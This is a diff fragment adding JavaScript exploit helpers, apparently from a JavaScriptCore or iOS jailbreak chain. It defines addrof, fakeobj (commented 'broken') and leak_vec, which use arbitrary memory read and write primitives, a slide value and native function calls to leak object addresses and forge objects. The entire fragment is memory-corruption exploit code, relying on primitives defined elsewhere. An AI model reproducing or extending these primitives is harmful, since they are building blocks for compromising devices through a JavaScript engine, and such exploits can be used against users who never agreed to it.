+var jsobj_addr;
+
+var large_buf = new Uint32Array(0x100000);
+var large_buf_ptr = 0;
+
+function prep_shit() {
+ string_ref = scall("JSStringCreateWithUTF8CString", "victim");
+ global_object = scall("JSContextGetGlobalObject", read_u32(slid + reserve_addr + 0x44));
+ jsobj_addr = scall("JSObjectGetProperty", read_u32(slid + reserve_addr + 0x44), global_object, string_ref, NULL);
+ large_buf_ptr = leak_vec(large_buf);
+}
+
+function addrof(obj) {
+ victim.target = obj;
+ return read_u32(jsobj_addr + 0x18);
+}
+
+// broken
+function fakeobj(addy) {
+ var string_ref = scall("JSStringCreateWithUTF8CString", sptr("victim"));
+ var global_object = scall("JSContextGetGlobalObject", read_u32(slid + reserve_addr + 0x44));
+ var jsobj_addr = scall("JSObjectGetProperty", read_u32(slid + reserve_addr + 0x44), global_object, string_ref, NULL);
+ printf("YOLO\n");
+ printf("1 %x\n", read_u32(jsobj_addr + 0x18));
+ victim.target = 13.37;
+ printf("2 %x\n", read_u32(jsobj_addr + 0x18));
+ write_u32(jsobj_addr + 0x18, addy);
+ printf("3 %x\n", read_u32(jsobj_addr + 0x18));
+ return victim.target;
+}
+
+function leak_vec(arr) {
+ var addy = addrof(arr);
+ printf("%x\n", addy);
+ return read_u32(addy + VECTOR_OFFSET);
} \ No newline at end of file